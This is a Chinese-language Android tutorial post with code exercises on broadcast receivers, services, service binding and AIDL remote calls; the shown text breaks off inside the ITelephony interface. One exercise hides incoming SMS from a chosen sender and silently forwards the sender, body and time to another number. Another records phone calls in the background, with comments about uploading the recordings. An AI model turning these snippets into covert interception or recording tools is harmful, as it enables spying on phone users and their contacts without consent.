java攻城狮之路(Android篇)--BroadcastReceiver&Service
四大组件:
activity 显示。
contentProvider 对外暴露自己的数据给其他的应用程序。
BroadcastReceiver 广播接收者,必须指定要接收的广播类型。必须明确的指定action
service 服务,是运行后台,它是没有界面的。对某件事情进行监听。
一、广播:事件。
普通广播: 是异步的。会广播接收者同时接收,不能被中断
sendBroadcast()
有序广播: 是同步的。会根据广播接收的优先级进行接收,是可以中断 短信到来广播
sendOrderBroadcast()
-1000 ~ 1000
如果有序广播明确的指定了广播接收者,他是无法被中断的。
广播接收者的订阅:
1 在清单文件里面指定
<receiver android:name=".SmsReceiver"> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver>
2 在代码里面指定
IntentFilter filter = new IntentFilter(); filter.setPriority(1000); filter.addAction("android.provider.Telephony.SMS_RECEIVED"); registerReceiver(new SmsReceiver(), filter);
当广播接收者一旦接收到广播,它会执行里面的onReceive()方法,但是里面是不能执行耗时的操作,这个方式如果在10s之内没有执行完毕,就会出现anr异常,也就是应用无响应异常
练习1:利用广播拦截短信、拦截外拨电话、增加IP拨号功能
package com.shellway.mysmsreceiver; import android.support.v7.app.ActionBarActivity; import android.content.IntentFilter; import android.os.Bundle; import android.view.Menu; import android.view.MenuItem; public class MainActivity extends ActionBarActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); //代码注册广播接收者 IntentFilter filter = new IntentFilter(); filter.setPriority(1000); filter.addAction("android.provider.Telephony.SMS_RECEIVED"); registerReceiver(new SmsReceiver(), filter); } }
package com.shellway.mysmsreceiver; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.text.BoringLayout; import android.util.Log; public class PhoneReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { //得到外拨电话 String number = getResultData(); Log.i("i", number); // abortBroadcast();//因为底层明确了广播接收者,所以这种中断打电话的效果不行 // setResultData(null);//应该用这种方式来中断打电话 // 给用户设置IP拨号 setResultData("17951"+number); } }
package com.shellway.mysmsreceiver; import java.text.SimpleDateFormat; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.telephony.SmsMessage; import android.telephony.gsm.SmsManager; import android.util.Log; public class SmsReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { // TODO Auto-generated method stub Log.i("i", "已经接收到短信"); Bundle bundle = intent.getExtras(); Object[] objects = (Object[]) bundle.get("pdus"); for (Object object : objects) { SmsMessage smsMessage = SmsMessage.createFromPdu((byte[])object); //获取短信内容 String body = smsMessage.getDisplayMessageBody(); //获取来短信的电话号码 String addr = smsMessage.getDisplayOriginatingAddress(); //获取短信到来的时间 Long time = smsMessage.getTimestampMillis(); SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String date = sdf.format(time); Log.i("i", "电话号码:"+addr); Log.i("i", "短信内容: "+body); Log.i("i","时间: "+ date); if(addr.equals("5558")){ //中断广播,注意在配置文件里要设置好这个接收者的优先级为最高 abortBroadcast(); //拦截消息转发给第三方 android.telephony.SmsManager smsManager = android.telephony.SmsManager.getDefault(); smsManager.sendTextMessage("5554", null, addr + ","+ body +","+ date, null, null); } } } }
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.shellway.mysmsreceiver" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="21" /> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name=".MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <!-- 这里使用了代码来实现广播接收者的注册来代替 <receiver android:name=".SmsReceiver"> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED"></action> </intent-filter> </receiver> --> <receiver android:name=".PhoneReceiver"> <intent-filter android:priority="1000"> <action android:name="android.intent.action.NEW_OUTGOING_CALL"/> </intent-filter> </receiver> </application> </manifest>
运行结果截图:
练习2:自定义广播(这里演示自己接收自己发出的广播)
package com.shellway.customreceiver; import android.support.v7.app.ActionBarActivity; import android.content.Intent; import android.os.Bundle; import android.view.Menu; import android.view.MenuItem; import android.view.View; import android.widget.EditText; public class MainActivity extends ActionBarActivity { private EditText et_data; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); //获取用户输入的数据 et_data = (EditText) findViewById(R.id.et_data); } public void send(View view){ String data = et_data.getText().toString(); //创建一个意图 Intent intent = new Intent(this,CustomReceiver.class); //给我这个广播自定义一个动作名称 intent.setAction("com.shellway.CustomReceiver"); //往意图里封装数据 intent.putExtra("data", data); //发送的是普通广播,不是有序广播 sendBroadcast(intent); } }
package com.shellway.customreceiver; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; public class CustomReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { //接收广播过来的数据 String data = intent.getStringExtra("data"); Log.i("i", data); } }
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" > <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="要广播的数据:" /> <EditText android:id="@+id/et_data" android:layout_width="fill_parent" android:layout_height="wrap_content" android:hint="请输入要广播发送的数据" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:onClick="send" android:text="开始广播" /> </LinearLayout>
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.shellway.customreceiver" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="21" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name=".MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <receiver android:name=".CustomReceiver"> <intent-filter> <action android:name="com.shellway.CustomReceiver"></action> </intent-filter> </receiver> </application> </manifest>
运行结果截图:
二、service:服务
运行于后台,没有界面,对某件事情进行监听。它不能自己运行,必须手动激活。
当服务被创建的时候会调用一个onCreate()方法。
练习3:通过服务监听电话的呼叫状态
package com.shellway.myservice; import android.support.v7.app.ActionBarActivity; import android.telephony.TelephonyManager; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.view.Menu; import android.view.MenuItem; import android.view.View; public class MainActivity extends ActionBarActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } public void startService(View view){ //创建一个意图 Intent intent = new Intent(this,MyService.class); //启动一个服务 startService(intent); } }
package com.shellway.myservice; import android.app.Service; import android.content.Context; import android.content.Intent; import android.os.IBinder; import android.telephony.PhoneStateListener; import android.telephony.TelephonyManager; import android.util.Log; public class MyService extends Service { //定义一个系统默认的电话服务管理者 private TelephonyManager tm; private MyPhoneStateListener listener; //当服务被创建的时候调用该方法 @Override public void onCreate() { super.onCreate(); listener = new MyPhoneStateListener(); tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); //监听电话的呼叫状态 tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE); } private final class MyPhoneStateListener extends PhoneStateListener{ @Override public void onCallStateChanged(int state, String incomingNumber) { // TODO Auto-generated method stub super.onCallStateChanged(state, incomingNumber); switch (state) { case TelephonyManager.CALL_STATE_IDLE://闲置状态 Log.i("i", "闲置状态"); Log.i("i", incomingNumber); break; case TelephonyManager.CALL_STATE_OFFHOOK://接听状态 Log.i("i", "接听状态"); break; case TelephonyManager.CALL_STATE_RINGING://响铃状态 Log.i("i", "响铃状态"); break; default: break; } } } @Override public IBinder onBind(Intent intent) { return null; } }
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" > <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:onClick="startService" android:text="启动一个监听电话服务" /> </LinearLayout>
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.shellway.myservice" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="21" /> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name=".MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <service android:name=".MyService"></service> </application> </manifest>
运行结果截图:
练习4:在通话的同时刻录音频
package com.shellway.myservice; import java.io.File; import java.io.IOException; import android.app.Service; import android.content.Context; import android.content.Intent; import android.media.MediaRecorder; import android.os.Environment; import android.os.IBinder; import android.telephony.PhoneStateListener; import android.telephony.TelephonyManager; import android.util.Log; public class MyService extends Service { //定义一个系统默认的电话服务管理者 private TelephonyManager tm = null; private MyPhoneStateListener listener; //声明一个音频刻录机 private MediaRecorder mr; //当服务被创建的时候调用该方法 @Override public void onCreate() { super.onCreate(); listener = new MyPhoneStateListener(); tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); //监听电话的呼叫状态 tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE); } private final class MyPhoneStateListener extends PhoneStateListener{ String fileName ; @Override public void onCallStateChanged(int state, String incomingNumber) { // TODO Auto-generated method stub super.onCallStateChanged(state, incomingNumber); switch (state) { case TelephonyManager.CALL_STATE_IDLE://闲置状态 Log.i("i", "闲置状态"); Log.i("i", incomingNumber); if (mr!=null) { mr.stop(); mr.reset(); mr.release(); mr = null; } if (fileName!=null) { //这里可以写一些上传录制的音频到服务器 //默认只能刻录自己的声音,若要刻录对方声音就要对底层进行修改 Log.i("i", fileName); } break; case TelephonyManager.CALL_STATE_OFFHOOK://接听状态 Log.i("i", "接听状态"); mr = new MediaRecorder(); //1、设置刻录的音频来源,来自麦克风 mr.setAudioSource(MediaRecorder.AudioSource.MIC); //2、设置所刻录的音频输出格式 mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); //3、设置输出数据的编码 mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); File file = new File(Environment.getExternalStorageDirectory(), System.currentTimeMillis()+".3gp"); //获取文件名,如果在刻录完成后可以把它上传到服务器,就要用到 httpClient 3.0 fileName = file.getName(); //4、设置输出的路径 mr.setOutputFile(file.getAbsolutePath()); try { //准备刻录 mr.prepare(); //开始刻录 mr.start(); } catch (IllegalStateException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } break; case TelephonyManager.CALL_STATE_RINGING://响铃状态 Log.i("i", "响铃状态"); break; default: break; } } } @Override public IBinder onBind(Intent intent) { return null; } @Override public void onDestroy() { // TODO Auto-generated method stub super.onDestroy(); } }
同时添加录音权限和外存储权限:
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/> <uses-permission android:name="android.permission.RECORD_AUDIO"/>
运行结果截图:
Service的生命周期:
如果用startService()去启动服务。只能通过stopService()的方式去停止,且:
onCreate() 只会被调用一次
onStart() 只要启动就会多次调用
onDestory() 只会被调用一次
如果用bindService()去启动(绑定)服务:
onCreate() 只会被调用一次
onBind() 只会被调用一次
onUnbind() 只会被调用一次
onDestroy() 只会被调用一次
注意:
如果访问者退出,需要把连接释放。
可以多次绑定,但是解绑服务只能执行一次,多次解绑就会出错。
用bindService()后要记得解绑,若绑定后没有解绑而直接退出,则会出现以下异常:
09-01 04:10:53.014: E/ActivityThread(5415):
Activity cn.itcast.service.MainActivity has leaked ServiceConnection cn.itcast.service.MainActivity$MyServiceConnection@44ee6248 that was originally bound here
服务里面能否执行耗时的操作?
答:服务里面是不能执行耗时的操作。如果需要执行耗时的操作:可以开启子线程来执行。
在开发的时候往往都需要和服务进行通信,就需要使用bindService()来启动服务。
Service的生命周期练习:
package com.shellway.servicelifecycle; import android.support.v7.app.ActionBarActivity; import android.content.ComponentName; import android.content.Intent; import android.content.ServiceConnection; import android.os.Bundle; import android.os.IBinder; import android.view.Menu; import android.view.MenuItem; import android.view.View; public class MainActivity extends ActionBarActivity { private MyServiceConnection conn = null; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } //用startService方式开启一个服务 public void startService(View view){ Intent intent = new Intent(this,ServiceLifeCycle.class); startService(intent); } //用startService方式开启一个服务,只能用stopService()去停止这个服务 public void stopService(View view){ Intent intent = new Intent(this,ServiceLifeCycle.class); stopService(intent); } //绑定服务,即用bindService()开启一个服务 public void bindService(View view){ Intent intent = new Intent(this,ServiceLifeCycle.class); bindService(intent, conn, BIND_AUTO_CREATE); } public void unbindService(View view){ //解绑服务 unbindService(conn); conn = null; } private class MyServiceConnection implements ServiceConnection { @Override public void onServiceConnected(ComponentName name, IBinder service) { // TODO Auto-generated method stub } @Override public void onServiceDisconnected(ComponentName name) { // TODO Auto-generated method stub } } @Override protected void onDestroy() { // TODO Auto-generated method stub super.onDestroy(); if (conn!=null) { //解绑服务 unbindService(conn); conn = null; } } }
package com.shellway.servicelifecycle; import android.app.Service; import android.content.Intent; import android.content.ServiceConnection; import android.os.IBinder; import android.util.Log; public class ServiceLifeCycle extends Service { @Override public void onCreate() { // TODO Auto-generated method stub super.onCreate(); Log.i("i", " onCreate "); } @Override public void onStart(Intent intent, int startId) { // TODO Auto-generated method stub super.onStart(intent, startId); Log.i("i", " onStart "); } @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub Log.i("i", " onBind "); return null; } @Override public void unbindService(ServiceConnection conn) { // TODO Auto-generated method stub super.unbindService(conn); Log.i("i", " unbindService "); } @Override public void onDestroy() { // TODO Auto-generated method stub super.onDestroy(); Log.i("i", " onDestroy "); } }
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" > <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="启动服务startService" android:onClick="startService" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="停止服务stopService" android:onClick="stopService" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="绑定服务bindService" android:onClick="bindService" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="解绑服务unbindService" android:onClick="unbindService" /> </LinearLayout>
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.shellway.servicelifecycle" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="21" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name=".MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <service android:name=".ServiceLifeCycle"></service> </application> </manifest>
运行结果截图:
如何调用服务里面的方法?步骤:
1 设计一个接口:IStudentQueryService Student queryStudent(int no);
2 在activity里面进行绑定操作:
bindService(intent,conn,flag);
3 写一个连接实现类:
private final class MyServiceConnection implements ServiceConnection{ public void onServiceConnected(ComponentName name, IBinder service) { // TODO Auto-generated method stub ibinder = (IStudnetQueryService) service; } public void onServiceDisconnected(ComponentName name) { // TODO Auto-generated method stub conn = null; ibinder = null; } }
4 在activity里面用IStudentQueryService 来接收onServiceConnected(ComponentName name, IBinder service)
返回过来的IBinder对象。
5 写一个StudentService extends Service ,重写onBind()
编译一个内部类StudentBinder extends Binder implements IStudnetQueryService
6 创建StudentBinder的对象,通过onBind()方法返回。
7 在activity通过onBind()返回的对象调用服务里面的方法。
练习:访问本地服务的方法
package com.shellway.callservicemethods; import com.shellway.callservicemethods.domain.Student; import com.shellway.callservicemethods.imp.IStudentService; import android.support.v7.app.ActionBarActivity; import android.content.ComponentName; import android.content.Intent; import android.content.ServiceConnection; import android.os.Bundle; import android.os.IBinder; import android.view.Menu; import android.view.MenuItem; import android.view.View; import android.widget.EditText; import android.widget.TextView; public class MainActivity extends ActionBarActivity { private MyServiceConnection conn; private EditText et_id; private IStudentService istu; private TextView tv; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); et_id = (EditText) findViewById(R.id.et_id); tv = (TextView) findViewById(R.id.tv_show); //创建一个绑定服务的连接 conn = new MyServiceConnection(); //应用一启动就绑定一个服务 Intent intent = new Intent(this,CallServiceMethods.class); bindService(intent, conn, BIND_AUTO_CREATE); } //点击查询按钮操作 public void query(View view){ //获得用户输入的数据 String id = et_id.getText().toString(); //调用本地服务里面的方法 Student stu = istu.getStudent(Integer.valueOf(id)); //把返回数据设置到界面 tv.setText(stu.toString()); } private class MyServiceConnection implements ServiceConnection{ @Override public void onServiceConnected(ComponentName name, IBinder service) { // TODO Auto-generated method stub //因为在服务中接口的实现类继承了IBinder,所以可以把它通过Ibinder这个通道返回 istu = (IStudentService) service; } @Override public void onServiceDisconnected(ComponentName name) { // TODO Auto-generated method stub conn = null; istu = null; } } @Override protected void onDestroy() { // TODO Auto-generated method stub super.onDestroy(); //当界面退出时记得解绑 if (conn!=null) { unbindService(conn); conn=null; } } }
package com.shellway.callservicemethods; import com.shellway.callservicemethods.domain.Student; import com.shellway.callservicemethods.imp.IStudentService; import android.app.Service; import android.content.Intent; import android.os.Binder; import android.os.IBinder; public class CallServiceMethods extends Service { //定义一个我们自定义的接口的实现类 private MyStudentService iBinder = new MyStudentService(); //模拟一个学生信息数据库 Student[] students = new Student[]{new Student(),new Student(1,"韩信",67), new Student(2,"蒙恬",58),new Student(3,"颜路",25),new Student(4,"张良",28)}; @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return iBinder; } private class MyStudentService extends Binder implements IStudentService{ @Override public Student getStudent(int id) { // TODO Auto-generated method stub return reStudent(id); } } //通过传过来的学生ID获得学生信息,这里是被调用的服务里面的方法 public Student reStudent(int id){ return students[id]; } }
package com.shellway.callservicemethods.domain; public class Student { private int id; private String name; private int age; public Student() { super(); // TODO Auto-generated constructor stub } public Student(int id, String name, int age) { super(); this.id = id; this.name = name; this.age = age; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student [id=" + id + ", name=" + name + ", age=" + age + "]"; } }
package com.shellway.callservicemethods.imp; import com.shellway.callservicemethods.domain.Student; public interface IStudentService { public Student getStudent(int id); }
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" > <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="请输入要查询学生的学号:" /> <EditText android:id="@+id/et_id" android:layout_width="fill_parent" android:layout_height="wrap_content" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:onClick="query" android:text="查询" /> <TextView android:id="@+id/tv_show" android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="学生信息" /> </LinearLayout>
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.shellway.callservicemethods" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="21" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name=".MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <service android:name=".CallServiceMethods"></service> </application> </manifest>
运行结果截图:
上面的操作是一个本地的服务。在开发的时候有可能还会去调用别人应用里面提供好的服务。
远程绑定服务,调用服务里面的方法。这里一两个名词:IPC(Inter-Process Communication,进程间通信)和AIDL
1 编写一个接口,再把接口文件修改为aidl,不能有修饰符。
如果我们使用了自定义对象需要实现Parcelable接口,还需要定义个一个aidl文件对这个类进行一个描述(Student.aidl).
编译器就会在gen目录下面生成对应的xx.java文件
2 在服务里面创建一个内部类:extends Stub 实现未实现的方法。
生成这个类的对象通过onBind()方法返回。
3 在客户端绑定服务。
注意:
public void onServiceConnected(ComponentName name, IBinder service) { // TODO Auto-generated method stub ibinder = Stub.asInterface(service); }
练习:远程服务的绑定,即访问远程服务的方法。
服务端:注意运行的时候先启动服务端
package com.shellway.callremoteservice; import android.support.v7.app.ActionBarActivity; import android.os.Bundle; import android.view.Menu; import android.view.MenuItem; public class MainActivity extends ActionBarActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } }
package com.shellway.callremoteservice; import com.shellway.callremoteservice.domain.Student; import com.shellway.callremoteservice.imp.IStudentService.Stub; import android.app.Service; import android.content.Intent; import android.os.IBinder; import android.os.RemoteException; public class CallRemoteService extends Service { //自定义一个类继承Stub private MyStudentService iBinder = new MyStudentService(); //模拟虚拟数据 Student[] students = new Student[]{new Student(1,"荆轲",67),new Student(2,"端慕容",58), new Student(3,"高渐离",25),new Student(4,"高月",28)}; @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub //通过ononBind()返回自定义类的对象 return iBinder; } private class MyStudentService extends Stub{ @Override public Student getStudent(int id) throws RemoteException { // TODO Auto-generated method stub return reStudent(id); } } //获取数据 public Student reStudent(int id){ return students[id-1]; } }
package com.shellway.callremoteservice.domain; import android.os.Parcel; import android.os.Parcelable; public class Student implements Parcelable { private int id; private String name; private int age; public Student(int id, String name, int age) { super(); this.id = id; this.name = name; this.age = age; } @Override public int describeContents() { // TODO Auto-generated method stub return 0; } @Override public void writeToParcel(Parcel dest, int flags) { // TODO Auto-generated method stub dest.writeInt(id); dest.writeString(name); dest.writeInt(age); } public static final Parcelable.Creator<Student> CREATOR = new Parcelable.Creator<Student>() { public Student createFromParcel(Parcel in) { return new Student(in); } public Student[] newArray(int size) { return new Student[size]; } }; public Student(Parcel in){ id = in.readInt(); name = in.readString(); age = in.readInt(); } @Override public String toString() { return "Student [id=" + id + ", name=" + name + ", age=" + age + "]"; } }
package com.shellway.callremoteservice.domain; parcelable Student;
package com.shellway.callremoteservice.imp; import com.shellway.callremoteservice.domain.Student; interface IStudentService { Student getStudent(int id); }
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingBottom="@dimen/activity_vertical_margin" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" tools:context="com.shellway.callremoteservice.MainActivity" > <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="@string/hello_world" /> </RelativeLayout>
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.shellway.callremoteservice" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="21" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name=".MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <!-- 这里的service要给它一个action,好让它对外提供接口 --> <service android:name=".CallRemoteService"> <intent-filter > <action android:name="com.shellway.callremoteservice.service"/> </intent-filter> </service> </application> </manifest>
客户端:注意这里面的另外两个包中的类都要从服务端拷贝过来,所以客户端就不贴一样的代码了。
package com.shellway.callremoteservicemethods; import android.content.ComponentName; import android.content.Intent; import android.content.ServiceConnection; import android.os.Bundle; import android.os.IBinder; import android.os.RemoteException; import android.support.v7.app.ActionBarActivity; import android.view.View; import android.widget.EditText; import android.widget.TextView; import com.shellway.callremoteservice.domain.Student; import com.shellway.callremoteservice.imp.IStudentService; import com.shellway.callremoteservice.imp.IStudentService.Stub; public class MainActivity extends ActionBarActivity { private IStudentService iBinder; private MyServiceConnection conn; private EditText et_id; private TextView tv; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); et_id = (EditText) findViewById(R.id.et_id); tv = (TextView) findViewById(R.id.tv_show); conn = new MyServiceConnection(); //程序一开始就要绑定一个远程服务 Intent intent = new Intent(); intent.setAction("com.shellway.callremoteservice.service"); bindService(intent, conn, BIND_AUTO_CREATE); } public void query(View view){ String id = et_id.getText().toString(); try { //这里是调用远程服务中的方法,即自己先前在服务端定义接口实现类, //然后New出一个对象并传过来,通过它来调用里面服务里面的方法 Student stu = iBinder.getStudent(Integer.valueOf(id)); tv.setText(stu.toString()); } catch (NumberFormatException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (RemoteException e) { // TODO Auto-generated catch block e.printStackTrace(); } } private class MyServiceConnection implements ServiceConnection{ @Override public void onServiceConnected(ComponentName name, IBinder service) { // TODO Auto-generated method stub //这里是得到远程服务中,自己先前在服务端定义接口实现类的对象 iBinder = Stub.asInterface(service); } @Override public void onServiceDisconnected(ComponentName name) { // TODO Auto-generated method stub } } @Override protected void onDestroy() { // TODO Auto-generated method stub super.onDestroy(); unbindService(conn); } }
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" > <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="请输入要查询学生的学号:" /> <EditText android:id="@+id/et_id" android:layout_width="fill_parent" android:layout_height="wrap_content" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:onClick="query" android:text="查询" /> <TextView android:id="@+id/tv_show" android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="学生信息" /> </LinearLayout>
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.shellway.callremoteservicemethods" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="21" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name=".MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest>
运行效果截图:
练习:调用Android底层已经实现的挂断电话endcall()方法,这里也用到了调用远程服务里方法知识
/* //device/java/android/android/content/Intent.aidl ** ** Copyright 2007, The Android Open Source Project ** ** Licensed under the Apache License, Version 2.0 (the "License"); ** you may not use this file except in compliance with the License. ** You may obtain a copy of the License at ** ** http://www.apache.org/licenses/LICENSE-2.0 ** ** Unless required by applicable law or agreed to in writing, software ** distributed under the License is distributed on an "AS IS" BASIS, ** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ** See the License for the specific language governing permissions and ** limitations under the License. */ package android.telephony; parcelable NeighboringCellInfo;
/* * Copyright (C) 2007 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.android.internal.telephony; import android.os.Bundle; import java.util.List; import android.telephony.NeighboringCellInfo; /** * Interface used to interact with the phone. Mostly this is used by the * TelephonyManager class. A few places are still using this directly. * Please clean them up if possible and use TelephonyManager insteadl. * * {@hide} */ interface ITelephony { /** * Dial a number. This doesn't place the call. It displays * the Dialer screen. * @param number the number to be dialed. If null, this * would display the Dialer screen with no number pre-filled. */ void dial(String number); /** * Place a call to the specified number. * @param number the number to be called. */ void call(String number); /** * If there is currently a call in progress, show the call screen. * The DTMF dialpad may or may not be visible initially, depending on * whether it was up when the user last exited the InCallScreen. * * @return true if the call screen was shown. */ boolean showCallScreen(); /** * Variation of showCallScreen() that also specifies whether the * DTMF dialpad should be initially visible when the InCallScreen * comes up. * * @param showDialpad if true, make the dialpad visible initially, * otherwise hide the dialpad initially. * @return true if the call screen was shown. * * @see showCallScreen */ boolean showCallScreenWithDialpad(boolean showDialpad); /** * End call if there is a call in progress, otherwise does nothing. * * @return whether it hung up */ boolean endCall(); /** * Answer the currently-ringing call. * * If there's already a current active call, that call will be * automatically put on hold. If both lines are currently in use, the * current active call will be ended. * * TODO: provide a flag to let the caller specify what policy to use * if both lines are in use. (The current behavior is hardwired to * "answer incoming, end ongoing", which is how the CALL button * is specced to behave.) * * TODO: this should be a oneway call (especially since it's called * directly from the key queue thread). */ void answerRingingCall(); /** * Silence the ringer if an incoming call is currently ringing. * (If vibrating, stop the vibrator also.) * * It's safe to call this if the ringer has already been silenced, or * even if there's no incoming call. (If so, this method will do nothing.) * * TODO: this should be a oneway call too (see above). * (Actually *all* the methods here that return void can * probably be oneway.) */ void silenceRinger(); /** * Check if we are in either an active or holding call * @return true if the phone state is OFFHOOK. */ boolean isOffhook(); /** * Check if an incoming phone call is 